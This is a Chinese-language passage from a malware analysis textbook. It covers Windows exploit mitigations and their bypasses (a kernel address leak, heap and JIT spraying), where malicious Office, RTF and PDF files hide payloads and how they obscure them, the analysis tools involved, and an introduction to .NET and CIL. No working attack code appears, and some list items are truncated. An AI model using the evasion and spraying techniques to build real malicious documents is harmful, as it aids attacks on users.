其中一个例子是被称为 CVE-2019-0859 的本地特权提升漏洞,存在于 win32k.sys 中。攻击者利用一种已知的现代 Windows 版本(适用于 Windows 7、8 和 10)技术,称为 HMValidateHandle 技术。它使用一个由 IsMenu API 调用的 HMValidateHandle 函数,该函数在 user32.dll 中实现。给定一个已经创建的窗口句柄,该函数返回其在内核内存中的内存对象地址,从而导致信息泄露,这可以帮助设计利用代码,如下所示的屏幕截图所示:
图 8.9 – 使用 HMValidateHandle 技术的内核内存地址泄露
这种技术在基于栈的溢出漏洞中效果很好。但对于堆溢出或使用后释放漏洞,出现了一个新问题,那就是 shellcode 在内存中的位置未知。在基于栈的溢出中,shellcode 存储在栈中,并由 esp 寄存器指向,但在堆溢出中,更难预测 shellcode 将位于何处。在这种情况下,通常使用另一种技术,称为 堆喷射。
完全 ASLR – 堆喷射技术
这种技术的原理是通过在应用程序的内存中填充大量的 shellcode 副本,使得多个地址指向同一 shellcode,从而以非常高的概率执行它。这里的主要问题是确保这些地址指向 shellcode 的开始位置,而不是中间位置。通过使用某种 shellcode 填充技术可以实现这一点。最著名的例子是使用大量的 nop 字节(称为nop 滑梯、nop 漫游或nop 坡道),或者任何没有重大效果的指令,放在 shellcode 前面:
图 8.10 – 堆喷射技术
如你所见,攻击者使用了 0x0a0a0a0a 地址来指向其 shellcode。由于堆喷射技术的存在,这个具有相对高概率的地址可能指向 shellcode 块中的 nop 指令,进而启动 shellcode。
DEP 和完全 ASLR – JIT 喷射
这种技术与堆喷射非常相似,唯一的区别是块分配是通过滥用 EXECUTE 权限来引起的,因为这些权限本应存储生成的汇编指令。通过这种方式,DEP 可以与 ASLR 一起绕过。
其他防护技术
为了防止被利用,已经引入了几种其他的防护技术。我们这里只提及其中的一些:
-
ret指令。这种技术使得攻击者更难通过栈溢出漏洞修改返回地址,因为这个值对他们来说是未知的。然而,这种方法有多种绕过方式,其中之一是覆盖 SEH 地址,并在 GS cookie 被检查之前强制触发异常。覆盖 SEH 地址是非常有效的,这也导致了引入其他防护措施来应对这一问题。 -
结构化异常处理覆盖保护 (SEHOP):这种防护技术会执行额外的安全检查,以确保 SEH 链没有被破坏。
-
SafeSEH:这种防护措施直接保护应用程序免受覆盖 SEH 地址的内存破坏。在这种情况下,SEH 地址不再存储在栈中,而是被引用于 PE 头中的一个单独的数据目录,该目录包含所有应用程序函数的 SEH 地址。
这些就是最常见的缓解措施。现在,让我们讨论其他类型的漏洞。
分析 Microsoft Office 漏洞
虽然微软 Office 主要与 Windows 操作系统相关联,但它也已经支持 macOS 操作系统几十年了。此外,其他各种办公软件套件,如 Apache OpenOffice 和 LibreOffice,也能识别它使用的文件格式。在本节中,我们将研究恶意文档利用漏洞进行恶意操作,并学习如何分析这些漏洞。
文件结构
在分析任何利用时,首先要清楚的是与这些漏洞相关的文件如何结构化。让我们看看攻击者常用的一些与 Microsoft Office 相关的文件格式,这些文件格式被用来存储和执行恶意代码。
复合文件二进制格式
这可能是最著名的文件格式,可以在与各种旧版和新版 Microsoft Office 产品相关的文档中找到,例如 .doc(Microsoft Word)、.xls(Microsoft Excel)、.ppt(Microsoft PowerPoint)等。曾经完全是专有格式,后来发布给公众,现在它的规范可以在网上找到。让我们通过一些最重要的部分,来分析它在恶意软件分析中的应用。
复合文件二进制(CFB)格式,也称为 OLE2,提供了一种类文件系统的结构,用于在扇区中存储特定应用的数据流:
图 8.11 – OLE2 头部解析
这是其头部结构,存储在第一个扇区的开始处:
-
\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1(其中前四个字节的十六进制格式类似于DOCFILE字符串) -
Header CLSID(16 字节):未使用的类 ID;必须为零
-
Minor version(2 字节):对于主版本 3 和 4,这个值始终为 0x003E
-
Major version(2 字节):主版本号,可以是 0x0003 或 0x0004
-
Byte order(2 字节):始终为 0xFFFE,表示小端字节序
-
Sector shift(2 字节):作为 2 的幂次方的扇区大小,对于主版本 3 为 0x0009(2⁹ = 512 字节),对于主版本 4 为 0x000C(2¹² = 4,096 字节)
-
Mini sector shift(2 字节):始终为 0x0006,表示迷你流的扇区大小(2⁶ = 64 字节)
-
Reserved(6 字节):必须设置为零
-
Number of directory sectors(4 字节):表示 目录 扇区的数量,对于主版本 3 始终为零(不支持)
-
Number of FAT sectors(4 字节):FAT 扇区的数量
-
First directory sector location(4 字节):表示目录流的起始扇区号
-
Transaction signature number(4 字节):存储支持事务的文件中的事务序列号,或其他情况下为零
-
Mini 流截止大小(4 字节):始终为 0x00001000,表示与 MiniFAT 数据关联的用户定义数据流的最大大小
-
第一个 MiniFAT 扇区位置(4 字节):存储 MiniFAT 扇区的起始扇区号
-
MiniFAT 扇区数量(4 字节):用于存储多个 MiniFAT 扇区
-
第一个 DIFAT 扇区位置(4 字节):DIFAT 数据的起始扇区号
-
DIFAT 扇区数量(4 字节):存储多个 DIFAT 扇区
-
DIFAT(436 字节):一个整数数组(每个 4 字节),表示 FAT 扇区的前 109 个位置:
图 8.12 – DIFAT 数组仅提到一个 ID 为 0x2D 的 FAT 扇区
如你所见,可以使用常规的扇区和操作小尺寸扇区的 mini 流来分配内存:
- 文件分配表(FAT):这是主要的空间分配器。每个流由一个扇区链表示,其中每个条目包含下一个扇区的 ID,直到链终止符。这个链信息存储在专用的 FAT 扇区中:
图 8.13 – FAT 扇区存储关于扇区链的信息
- MiniFAT:这是 mini 流和小型用户定义数据的分配器:
图 8.14 – MiniFAT 扇区存储关于 mini 流链的信息
如前所述,对于链中的每个扇区,都会存储下一个扇区的 ID,直到最后一个包含 ENDOFCHAIN(0xFFFFFFFE)值的扇区,头部占用一个常规扇区,并根据扇区大小填充其值(如果需要):
图 8.15 – 头部后续扇区链的示例
还有几个其他辅助存储类型,包括以下内容:
-
双重间接文件分配表(DIFAT):存储 FAT 扇区的位置(前面已解释)
-
目录:存储存储和流对象的元数据
在这里,流和存储对象的使用方式类似于典型文件系统中的文件和目录:
图 8.16 – 单个存储对象中的多个流
根目录将是目录链中第一个扇区的第一个条目;它既作为流又作为存储对象。它包含指向存储 mini 流的第一个扇区的指针:
图 8.17 – 根目录
在 .xls 文件中,Workbook 主要流遵循 .doc 文件,WordDocument 流应以 FIB 结构开头。
知道文件结构如何允许逆向工程师识别可能导致意外行为的异常。
现在,让我们专注于 富文本格式(RTF)文档。
富文本格式
RTF 是另一种专有的微软格式,具有公开的规范,可用于创建文档。最初其语法受 TeX 语言影响,这是由唐纳德·克努斯开发的跨平台语言。第一版的阅读器和写入器与微软 Word 产品一同发布,适用于 Macintosh 计算机。与我们描述的其他文档格式不同,它在通常的文本编辑器中是人类可读的,无需任何预处理。
除了实际文本外,所有 RTF 文档都使用以下元素实现:
\rtfN: 可在任何 RTF 文档开头找到的起始控制词,其中N表示主要格式版本(当前为 1)。
重要提示
值得一提的是,如果 fN 的部分未强制执行,RTF 文档将被 MS Office 视为有效,即使其不存在或替换为其他内容。
-
\ansi: 在\rtfN之后的受支持字符集之一。 -
\fonttbl: 引入字体表组的控制词。 -
\pard: 重置为默认段落属性。 -
\par: 指定新段落(或当前段落的结束)。 -
分隔符: 标志着 RTF 控制词的结束。总共有三种类型的分隔符:
-
空格: 视为控制词的一部分。
-
非字母数字符号: 终止控制词,但不包括在其中。
-
带可选连字符的数字(用于指定负数): 表示数值参数;可以是正数或负数。
-
-
控制符号: 这些符号包括反斜杠,后跟非字母字符。这些与控制词处理方式相同。
-
组: 组由文本和控制词或指定相关属性的符号组成,所有这些都被大括号包围。
嵌入式可执行负载通常存储在以下区域:
-
\object控制词的\objdata参数。数据可以是各种数据格式,并使用\objclass控制词指定。以下是一些示例格式:-
OLE2(例如,Word.Document.8)
-
OOXML
-
PDF
-
-
\datastore块的内容。 -
文档覆盖区域(在 markdown 后的区域):
图 8.18 – 存储在文档覆盖区域中的恶意可执行文件
除此之外,远程恶意负载可以通过 \objautlink 控制词访问。此外,\objupdate 常用于重新加载对象,无需用户交互即可实现代码执行。
就混淆而言,存在多种技术,如下所示:
-
在数据中间插入
{\object}条目 -
插入多个过多的
\bin[num]条目 -
在对象数据中添加空格:
图 8.19 – 使用过多的\bin 控制字的恶意软件
现在,让我们讨论遵循Office Open XML(OOXML)格式的威胁。
Office Open XML 格式
OOXML 格式与较新的 Microsoft Office 产品相关联,并实现在扩展名为x的文件中,如.docx、.xlsx和.pptx。在撰写本文时,这是现代 Office 版本使用的默认格式。
在这种情况下,所有信息都存储在Open Packaging Convention(OPC)包中,这些包是遵循特定结构并存储 XML 和其他数据及其之间关系的 ZIP 存档。
这是其基本结构:
-
[Content_Types].xml:此文件可以在任何文档中找到,并为包的各个部分存储 MIME 类型信息。 -
_rels:此目录包含包内文件之间的关系。所有具有关系的文件都会在此处有一个同名并以.rels扩展名结尾的文件。此外,它还包含一个单独的.relsXML 文件,用于存储包关系。 -
docProps:此处包含几个描述与文档相关的特定属性的 XML 文件 - 例如,core.xml用于核心属性(如创建者或各种日期),app.xml用于页面数、字符数等。 -
<特定文档类型的目录>:此目录包含实际的文档数据。其名称取决于目标应用程序。以下是一些示例:-
word代表 Microsoft Word:主要信息存储在document.xml文件中。 -
xl代表 Microsoft Excel:在这种情况下,主文件将是workbook.xml。 -
ppt代表 Microsoft PowerPoint:这里,主要信息位于presentation.xml文件中。
-
现在我们已经熟悉了常见的文档格式,是时候学习如何分析利用它们的恶意软件了。
MS Office 漏洞的静态和动态分析
在本节中,我们将学习如何分析恶意 Microsoft Office 文档。在这里,我们将专注于利用漏洞的恶意软件。宏威胁将在第十章,脚本和宏 - 反向工程,解混淆和调试中进行讨论,因为从技术角度来看,它们并不被分类为漏洞利用。
静态分析
有很多工具允许分析员查看原始 Microsoft Office 格式,如下所示:
-
oletools:一套独特的强大工具,允许分析人员分析与 Microsoft Office 产品相关的所有常见文档。以下是一些示例:
-
olebrowse: 一个相当基础的 GUI 工具,允许你浏览 CFB 文档
-
oledir: 显示 CFB 文件中的目录条目
-
olemap: 显示文档中存在的所有扇区,包括头部
-
oleobj: 允许你从 CFB 文件中提取嵌入的对象
-
rtfobj: 几乎与 oleobj 相同的功能,但这次是针对 RTF 文档
-
-
oledump: 这个强大的工具能够提供有关文档中流的宝贵信息,并提供转储和解压选项。
-
rtfdump: 另一个由同一作者开发的工具,旨在帮助分析 RTF 文档。
-
OfficeMalScanner: 提供多种启发式分析方法,能够搜索和分析 shellcode 条目,以及加密的 MZ-PE 文件。对于 RTF 文件,它有一个专用的RTFScan工具。
关于较新的基于 Open XML 的文件(如.docx、.xlsx和.pptx),可以使用officedissector,这是一个用 Python 编写的解析库,专为安全分析 OOXML 文件而设计,能够自动化某些任务。但总体而言,一旦解压,它们总是可以用你喜欢的文本编辑器进行 XML 高亮分析。类似地,正如我们之前提到的,RTF 文件不一定需要任何特定软件,几乎可以在任何文本编辑器中分析。
在进行静态分析时,通常最好先提取宏(如果存在的话),并检查是否存在其他非漏洞相关的技术,例如 DDE 或 PowerPoint 操作(这些分析会在第十章中讲解,脚本与宏—逆向分析、去混淆和调试)。然后,需要检查是否存在任何 URL 或高熵二进制块,因为它们可能表明存在 shellcode。只有在这一点之后,才有意义深入挖掘文档结构中的异常,这些异常可能表明存在漏洞。
动态分析
这些类型漏洞的动态分析可以分为两个阶段:
-
高级分析: 在这一阶段,你必须重现并确认恶意行为。通常包括以下步骤:
-
找出实际的漏洞载荷: 通常,这部分可以在静态分析阶段完成。否则,可以设置各种行为分析工具(文件系统、注册表、进程和网络监控器),并在漏洞触发的下一步中寻找可疑条目。
-
确定受此漏洞影响的产品版本: 如果漏洞已经公开,通常会包含已确认的受影响版本。否则,可以在不同的虚拟机快照中安装多个版本,以便找到至少一个能可靠重现漏洞触发的版本。
-
-
低级: 在许多情况下,这个阶段并不需要,因为我们已经知道漏洞应该做什么以及哪些产品受到影响。然而,如果我们需要验证漏洞的 CVE 编号或处理零日漏洞,可能需要弄清楚到底是哪个 bug 被利用了。
一旦我们能够可靠地重现触发的漏洞,我们可以将其附加到相应 Microsoft Office 产品的目标模块,并继续调试,直到我们看到负载被触发。然后,我们可以拦截这一时刻,深入研究它是如何工作的。
研究恶意 PDF
便携式文档格式(PDF)是由 Adobe 在 90 年代开发的,目的是统一地呈现文档,无论使用什么应用软件或操作系统。最初是专有的,2008 年发布为开放标准。不幸的是,由于其流行,多个攻击者滥用它来传递恶意负载。让我们看看它们是如何工作的以及如何分析它们。
文件结构
PDF 是一个树形文件,由实现八种数据类型之一的对象组成:
-
空对象: 表示缺少数据。 -
布尔值: 经典的真/假值。 -
数字: 包括整数和实数值。 -
名称: 这些值可以通过前面的斜杠来识别。 -
字符串: 用圆括号括起来。 -
数组: 用方括号括起来。 -
字典: 在这种情况下,使用双大括号。 -
流: 这些是主要的数据存储块,支持二进制数据。流可以被压缩以减少相关数据的大小。
除此之外,还可以借助百分号(%)符号使用注释。
所有复杂的数据对象(如图像或 JavaScript 条目)都使用基本数据类型存储。在许多情况下,对象会有相应的字典,字典中会提到数据类型,并且实际数据存储在流中。
PDF 文档通常以 %PDF 签名开始,后跟格式版本号(例如,1.7),中间用连字符分隔。然而,由于 PDF 文档是从末尾读取的,因此不能保证这一点,不同的 PDF 查看器允许在签名前插入不同数量的任意字节(在大多数情况下,至少为1000个字节):
图 8.20 – 有效文档的 %PDF 签名前的任意字节
可以使用多个关键字定义数据对象的边界和类型,如下所示:
%PDF签名):
图 8.21 – PDF 文档中的 xref 表
另一个不太常见的选项是交叉引用流,它起着相同的作用。
obj关键字由对象编号及其生成编号(在文件更新时可以增加)组成,所有内容用空格分隔:
图 8.22 – PDF 文档中对象的示例
-
stream/endstream:可用于定义存储实际数据的流。
-
startxref关键字指定索引表的偏移量和 %%EOF 标记。
以下是分析恶意 PDF 时,分析人员可能感兴趣的最常见条目:
-
/Type:定义相关对象数据的类型。以下是一些示例:-
/ObjStm:对象流是一种复杂的数据类型,可用于存储多个对象。通常,它伴随有其他几个条目,例如/N用于定义嵌入对象的数量,/First用于定义第一个对象的偏移量。流的第一行定义了嵌入对象的编号和偏移量,所有内容由空格分隔。 -
/Action:描述要执行的动作。其类型如下:-
/Launch:定义执行指定应用程序的启动动作,应用程序通过/F值指定,其参数通过/P值指定。 -
/URI:定义 URI 操作以解析指定的 URI。 -
/JavaScript:执行指定的 JavaScript 片段,/JS定义了一个文本字符串或一个包含 JavaScript 代码块的流,该代码块将在动作(呈现或 JavaScript)触发后执行。 -
/Rendition:也可用于执行 JavaScript。可以使用相同的/JS名称来指定它。 -
/SubmitForm:将数据发送到指定的地址。URL 在/F条目中提供,并可能在钓鱼文档中使用。
-
-
/EmbeddedFiles:可用于存储辅助文件,例如恶意载荷。 -
/Catalog:这是对象层次结构的根。它定义了对其他对象的引用,如下所示:-
/Names:一个可选的文档名称字典。它允许通过名称而不是引用来引用一些对象——例如,使用/JavaScript或/EmbeddedFiles映射。 -
/OpenAction:指定打开文档后要显示的目标(通常,这对于恶意软件分析无关紧要)或执行的动作(参见前面的列表)。 -
/AA:指定与触发事件相关的附加动作。
-
-
-
/XF:指定基于 XML 的表单。它可以包含嵌入的 JavaScript 代码。 -
/Filter:该条目定义了要应用于相关流的解码过滤器,以使数据变得可读。/FFilter可用于流的外部文件。对于某些过滤器,可以使用/DecodeParms(或/FDecodeParms)指定可选参数。如果需要,可以级联多个过滤器。过滤器主要分为两类:压缩过滤器和 ASCII 过滤器。以下是一些常见的恶意软件中使用的例子:/FlateDecode:可能是最常见的压缩文本和二进制数据的方式,它使用zlib/deflate算法:
图 8.23 – PDF 文档中使用的 /FlateDecode 过滤器
-
/LZWDecode: 在这种情况下,使用 LZW 压缩算法。 -
/RunLengthDecode: 在这里,数据使用 游程编码(RLE)算法进行编码。 -
/ASCIIHexDecode: 数据使用 ASCII 中的十六进制表示法进行编码。 -
/ASCII85Decode: 另一种编码二进制数据的方式,在这种情况下,使用 ASCII85(也称为 Base85)编码。 -
/Encrypt: 文件尾部字典中的一个条目,指定该文档受密码保护。相应对象中的条目指定了保护的方式:-
/O: 该条目定义了所有者加密文档。通常用于 DRM(数字版权管理)目的。 -
/U: 与所谓的用户加密文档相关联,通常用于保密。恶意软件作者可能会利用它绕过安全检查,然后给受害者提供密码以打开文件。
-
值得一提的是,在现代规范中,可以使用 #XX 十六进制表示法替换这些名称的部分(甚至是整个名称)。因此,/URI 可以变成 /#55RI,甚至是 /#55#52#49。
一些条目可能会引用其他对象,使用字母 R。例如,/Length 15 0 R 表示实际的长度值存储在一个单独的对象中,即 15,在第 0 代。当文件更新时,会添加一个带有递增代号的新对象。
PDF 文件的静态与动态分析
现在,是时候学习如何分析恶意 PDF 文件了。在本节中,我们将介绍一些可以帮助分析的工具,并提供有关何时以及如何使用它们的指南。
静态分析
在许多情况下,静态分析几乎可以回答工程师在分析这些样本时遇到的任何问题。多种专用开源工具可以使这一过程变得相当简单。让我们来看看其中一些最流行的工具:
-
-a: 显示 PDF 样本的统计信息 -
-O: 解析/ObjStm对象 -
-k: 搜索感兴趣的名称 -
-d: 使用-o参数指定的对象进行转储 -
-w: 原始输出 -
-f: 通过解码器传递对象 -
peepdf: 这是恶意软件分析人员工具箱中的另一个工具,提供多种有用的命令,旨在识别、提取、解码和美化提取的数据。* PDFStreamDumper: 这款 Windows 工具将多个功能结合在一个全面的 GUI 中,并提供在分析恶意 PDF 文档时所需的丰富功能。它重点关注从流中提取和处理各种类型的有效载荷,并支持多种编码算法,包括一些较少见的编码算法。
图 8.24 – PDFStreamDumper 工具
- malpdfobj:该工具的作者采用了一种略有不同的方法,工具会生成一个包含所有从恶意 PDF 中提取和解码信息的 JSON,使其更为可见。这样,如果需要,它可以通过脚本语言轻松解析。
除了这些,多种工具和库可以通过解析 PDF 结构、解密文档或解码流来促进分析。这些工具包括qpdf、PyPDF2和origami。
在对恶意 PDF 文件进行静态分析时,通常可以从列出操作和不同类型的对象开始。特别注意我们之前列出的可疑条目。解码所有编码的流,看看里面有什么,因为它们可能包含恶意模块。
如果 JavaScript 对象已经被提取,请参考第十章,脚本和宏 - 逆向工程、去混淆与调试中提供的静态和动态分析的建议。在很多情况下,漏洞功能是通过此语言实现的。ActionScript 现在已经不那么常见,因为 Flash Player 已被停止支持。
动态分析
在动态分析方面,可以遵循对 Microsoft Office 漏洞所采取的相同步骤:
-
弄清楚被利用的有效载荷是什么。
-
确定易受攻击的产品版本。
-
使用候选产品打开文档,并使用行为分析工具确认它是否触发漏洞。
-
在易受攻击产品的代码中找到触发漏洞的地方。
如果实际的漏洞主体是用其他语言(如 JavaScript)编写的,那么可能更方便将其中的一部分单独调试,同时模拟漏洞所需的环境。这部分内容也将在第十章,脚本和宏 - 逆向工程、去混淆与调试中进行讲解。
总结
在这一章中,我们熟悉了各种类型的漏洞、针对它们的攻击方式以及旨在应对这些漏洞的不同技术。然后,我们学习了 Shellcode,它如何在不同平台上有所不同,以及如何分析它。
最后,我们介绍了当前在野外常见的其他类型的漏洞攻击——即恶意的 PDF 和 Microsoft Office 文档,并解释了如何检查它们。有了这些知识,你可以判断攻击者的思维方式,并理解可以用来破坏目标系统的各种技术背后的逻辑。
在第九章,逆向字节码语言 - .NET、Java 及更多中,我们将学习如何处理使用字节码语言编写的恶意软件,工程师在分析过程中可能遇到的挑战,以及如何应对这些挑战。
第九章:反向字节码语言 – .NET、Java 及更多
跨平台编译程序的美妙之处在于它们的灵活性,因为你无需花费大量精力将每个程序移植到不同的系统上。在本章中,我们将学习恶意软件作者如何利用这些优势进行恶意用途。此外,你将获得一系列旨在使分析快速高效的技术和工具。
在本章中,我们将涵盖以下主题:
-
字节码语言的基本理论
-
.NET 解释
-
.NET 恶意软件分析
-
Visual Basic 的基本要点
-
解析 Visual Basic 示例
-
Java 示例的内部
-
分析编译的 Python 威胁
字节码语言的基本理论
.NET、Java、Python 等许多语言设计为跨平台。相应的源代码不会被编译成汇编语言(如 Intel、ARM 等),而是被编译成一种称为字节码语言的中间语言。字节码语言类似于汇编语言,但可以轻松地由解释器执行或即时编译成本地语言(这取决于 CPU 和操作系统)。这种编译方式称为即时编译(JIT)。
面向对象编程
大多数这些字节码语言遵循编程和开发领域的最新技术。它们实现了所谓的面向对象编程(OOP)。如果你以前没听说过,OOP 基于对象的概念。这些对象包含属性(有时称为字段或属性)和包含过程(有时称为函数或方法)。这些对象可以相互交互。
对象可以是相同设计或蓝图的不同实例,这称为类。下图显示了汽车类及其不同的实例或对象:
图 9.1 – 一个汽车类和三个不同的对象
在这个类中,有诸如燃料和速度之类的属性,以及诸如accelerate()和stop()之类的方法。一些对象可以相互交互并调用这些方法或直接修改这些属性。
继承
另一个重要的概念是继承。继承允许子类继承(或包含)父类中包含的所有属性和方法(包括内部的代码)。这个子类可以拥有更多的属性或方法,甚至可以重新实现父类中包含的方法(有时称为超类或父类)。
多态性
继承使得一个类能够在所谓的多态中表示多种不同类型的对象。一个Shape类可以表示不同的子类,例如Line、Circle、Square等。一个绘图应用程序可以遍历所有Shape对象(无论它们的子类是什么),并执行paint()方法,将它们绘制到屏幕或程序画布上,而无需单独处理每个类。
由于Shape类具有paint()方法,并且它的每个子类都有该方法的实现,因此应用程序只需执行paint()方法,而无需关心其具体实现,这样就变得更加简单。
.NET 解释
.NET 语言(主要是 C#和 VB.NET)是微软设计的跨平台语言。相应的源代码被编译成字节码语言,最初命名为Microsoft Intermediate Language(MSIL),现在被称为Common Intermediate Language(CIL)。此语言由Common Language Runtime(CLR)执行,CLR 是一个应用程序虚拟机,提供内存管理和异常处理。
.NET 文件结构
.NET 文件结构基于我们在第三章中描述的 PE 结构,x86/x64 的基本静态和动态分析。 .NET 结构以 PE 头开始,包含数据目录中的倒数第二个条目,指向.NET 的特殊CLR 头(COR20 头)。
.NET COR20 头
.text部分,包含有关.NET 文件的基本信息,如以下截图所示:
图 9.2 – CLR 头(COR20 头)和 CLR 流
该结构的一些值如下:
-
cb:表示头的大小(始终为 0x48)
-
MajorRuntimeVersion和MinorRuntimeVersion:始终为 2 和 5(即使是运行时 4)
-
元数据地址和大小:包含所有 CLR 流,稍后将详细描述
-
0x6000012值,我们得到了以下内容:-
#~流(我们稍后会详细讨论流)。在以下截图中,我们可以看到它对应于Methods表。 -
Main:
-
图 9.3 – 第一流中的方法表中的入口点方法,#~
现在,让我们来谈谈流。
元数据流
元数据包含五个部分,它们类似于 PE 文件的部分,但称为流。流的名称以#开头,具体如下:
-
Methods表的 ID 是 0x6)。 -
#~流。此流包括方法名称、类名称等。每个条目以其长度开始,接着是字符串,然后是下一个条目的长度,再接着是字符串,依此类推。 -
#Strings流,但它包含了应用程序本身使用的字符串,如下图所示(结构与项长度后跟字符串相同):
图 9.4 – #US Unicode 字符串以长度开头,后跟实际的字符串
-
#GUID:存储唯一标识符(GUID)。
-
#US和#Strings,但它包含了与应用程序相关的所有二进制数据。它的格式与项长度相同,后面跟着数据块。
所以,这就是 .NET 应用程序的结构。现在,让我们来看看如何将 .NET 应用程序与其他可执行文件区分开来。
如何通过 PE 特征识别 .NET 应用程序
识别 .NET PE 文件的第一种方法是使用 PEiD 或 CFF Explorer,这些工具包含了覆盖 .NET 应用程序的签名,如下图所示:
图 9.5 – PEiD 检测到恶意软件是一个 .NET 应用程序
第二种方法是检查数据目录中的导入表。.NET 应用程序总是只导入一个 API,即来自 mscoree.dll 的_CorExeMain,如下所示:
图 9.6 – .NET 应用程序导入表
最后,你可以检查数据目录中的倒数第二个(第 15 个)条目,这代表了 CLR 头。如果它被填充了(即包含非 NULL 的值),那么它就是一个 .NET 应用程序,并且这应该是一个 CLR 头(你可以使用 CFF Explorer 来检查)。
CIL 语言指令集
CIL(也称为 MSIL)语言与简化指令集计算机(RISC)汇编语言非常相似。然而,它不包含任何寄存器,所有的变量、类、字段、方法等都是通过它们在流和表中的 ID 进行访问。局部变量也通过它们在方法中的 ID 进行访问。大部分代码基于将变量和常量加载到栈中,执行操作(其结果存储在栈中),然后将这个结果弹出并存入局部变量或对象中的字段。
该语言由一组操作码和这些操作码的参数(如果需要的话)组成。大多数操作码占用 1 个字节。让我们来看看这门语言中的指令。
推送到栈中的指令
有许多指令用于将值或 ID 存储到栈中。这些可以通过操作后续访问,或者存储在其他变量中。以下是一些示例:
重要提示
对于所有需要 ID 的指令,它们都以 2 字节的形式接收 ID。它们有一个简化版,后缀为.s,它们以 1 字节的形式接收 ID。
处理常量或数组元素的指令(ldc 和 ldelem)带有描述该值类型的后缀。这里是使用的类型:
现在,让我们学习如何将栈中的值提取到另一个变量或字段中。
从栈中取出一个值
这里是一些指令,让你从栈中提取(弹出)一个值或引用到另一个变量或字段:
重要提示
需要 ID 的指令也有带 .s 后缀的简化版本。某些指令,如 stind 和 stelem,可能还有值类型后缀(如 .i4 或 .r8)。
数学和逻辑操作
CIL 语言实现了你将在任何汇编语言中看到的相同操作,例如 add、sub、shl、shr、xor、or、and、mul、div、not、neg、rem(除法余数)和 nop(无操作)。
这些指令从栈中获取参数,并将结果保存回栈中。可以使用任何存储指令(如 stloc)将它们存储在变量中。
分支指令
这是学习的最后一组重要指令。这些指令与分支和条件跳转有关。这些指令与汇编语言的区别不大,但它们依赖栈中的值来进行比较和分支:
现在,让我们把这些知识应用到实践中,学习源代码如何转换为这些指令。
CIL 语言转换为高级语言
到目前为止,我们已经讨论了各种 IL 语言指令以及 .NET 应用程序的主要区别因素和文件结构。在本节中,我们将查看这些高级语言(VB.NET、C# 等)以及它们的语句、分支和循环是如何转换为 CIL 语言的。
局部变量赋值
这是一个使用常量值 10 设置局部变量值的例子:
X = 10;
这将被转换为以下内容:
ldc.i4 10 // pushes an int32 constant with value 10 to the stack
stloc.0 // pops a value to local variable 0 (X) from stack
轻松简单。
使用方法返回值进行局部变量赋值
这里是另一个更复杂的例子,展示了如何调用方法,将其参数推送到栈中,并将返回值存储在局部变量中(这里,调用的是类中的静态方法,而不是对象的虚方法):
Process[] Process = System.Diagnostics.Process::GetProcessesByName("App01");
中间代码如下所示:
ldstr "App01" // here, ldstr accesses that string by its ID and the string itself is located in the #US stream
call class [System]System.Diagnostics.Process[] [System]System.Diagnostics.Process::GetProcessesByName(string)
Stloc.0 // store the return value in local variable 0 (X)
基本的分支语句
对于 if 语句,C# 代码如下所示:
if (X == 50)
{
Y = 20;
}
相应的 IL 代码如下所示(这里,我们为分支指令添加了行号):
00: ldloc.0 // load local variable 0 (X)
01: ldc.i4.s 50 // load int32 constant with value 50 into the stack
02: bne 5 // if not equal, branch/jump to line number 5
03: ldc.i4.s 20 // load int32 constant with value 20 into the stack
04: stloc.1 // place the value 20 from the stack to the local variable 1 (Y)
05: nop // here, it could be any code that goes after the If statement
06: nop
这些指令还将帮助我们理解下一个主题——循环。
循环语句
我们将在本节中讲解的最后一个示例是for循环。这个语句比if语句复杂,甚至比while语句的循环还要复杂。然而,它在 C#中使用广泛,理解它将有助于你理解 IL 语言中的其他复杂语句。C#代码如下:
for (i = 0; i < 50; i++)
{
X = i + 20;
}
等效的 IL 代码如下:
00: ldc.i4.0 // pushes a constant with value 0
01: stloc.0 // stores it in local variable 0 (i). This represents i = 0
02: br 11 // unconditional branching to line 11
03: ldloc.0 // loads variable 0 (i) into stack
04: ldc.i4.s 20 // loads an int32 constant with value 20 into stack
05: add // adds both values from the stack and pushes the result back to stack (i + 20)
06: stloc.1 // stores the result in a local variable 1 (X)
07: ldloc.0 // loads local variable 0 (i)
08: ldc.i4.1 // pushes a constant value of 1
09: add // adds both values
10: stloc.0 // stores the result in local variable i (i++)
11: ldloc.0 // loads again local variable i (this is the branching destination)
12: ldc.i4.s 50 // loads an int32 constant with value 50 into stack
13: blt.s 3 // compares both values from stack (i and 50) and branches to line number 3 if the first value is lower
这就是.NET 文件结构和 IL 语言的介绍。现在,让我们学习如何分析.NET 恶意软件。
.NET 恶意软件分析
如你所知,.NET 应用程序很容易被反汇编和反编译,以尽可能接近原始源代码。这使得恶意软件更容易受到逆向工程的攻击。我们将在本节中描述多种混淆技术,并介绍去混淆过程。首先,让我们探索用于.NET 逆向工程的工具。
.NET 分析工具
这里是一些最知名的反编译和分析工具:
-
ILSpy:这是一个很好的静态分析反编译工具,但它不能调试恶意软件。
-
dnSpy:基于 ILSpy 和 dnlib,它是一个反汇编器和反编译器,还可以让你调试和修补代码。
-
.NET reflector:一款用于静态分析和 Visual Studio 调试的商业反编译工具。
-
.NET IL Editor (DILE):另一个强大的工具,允许你反汇编和调试.NET 应用程序。
-
dotPeek:一款用于将恶意软件反编译为 C#代码的工具。它适用于静态分析,并且在 Visual Studio 的帮助下可以重新编译和调试。
-
Visual Studio:Visual Studio 是.NET 语言的主要 IDE。它允许你编译源代码并调试.NET 应用程序。
-
SOSEX:一个用于 WinDbg 的插件,可以简化.NET 调试。
以下是最著名的去混淆工具:
-
de4dot:同样基于 dnlib,它非常适用于去除已知混淆工具混淆的样本。
-
NoFuserEx:一个用于 ConfuserEx 混淆器的去混淆工具
-
Detect It Easy (DiE):一款用于检测.NET 混淆器的优秀工具。
在以下示例中,我们将主要使用 dnSpy 工具。
静态和动态分析
现在,我们将学习如何进行静态分析和动态分析,然后对样本进行修补,以删除或修改混淆代码。
.NET 静态分析
多种工具可以帮助你反汇编和反编译样本,甚至将其完全转换为 C#或 VB.NET 源代码。例如,你可以通过将样本拖放到应用程序界面中,使用dnSpy进行反编译。以下是该应用程序的界面:
图 9.7 – 使用 dnSpy 对恶意样本进行静态分析
你可以点击文件 | 导出为项目将反编译的源代码导出为 Visual Studio 项目。现在,你可以阅读源代码、修改代码、写注释,或者修改函数名称以便更好的分析。如果你右键点击并从菜单中选择编辑 IL 语言,dnSpy 还可以显示样本的实际 IL 语言。
